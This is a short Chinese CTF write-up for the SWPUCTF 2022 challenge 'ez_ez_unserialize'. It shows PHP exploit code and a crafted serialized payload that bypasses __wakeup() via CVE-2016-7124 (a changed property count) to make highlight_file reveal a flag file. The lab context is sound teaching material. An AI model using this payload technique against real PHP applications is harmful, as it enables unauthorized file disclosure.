NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize
开题,直接给了题目源码。

简单看了一下,题目告诉我们flag在哪,而且类中有高亮文件方法。怎么拿flag已经很明显了。关键点在于__weakup()魔术方法固定死了我们高亮的文件。所以这题只需要绕过__weakup()。
PHP版本是5.5.38

我们可以使用使对象的属性数量不一致凡凡来绕过
CVE-2016-7124
版本:PHP5 < 5.6.25、PHP7 < 7.0.10
版本满足,我们来编写EXP:
<?php
class X{
public $x ;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if($this->x !== __FILE__){
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
echo serialize(new X("fllllllag.php"));
生成的
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
payload:
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

















![[C语言]一维数组二维数组的大小](https://img-blog.csdnimg.cn/direct/8456245efec84329909bc73c5ac9225c.png)

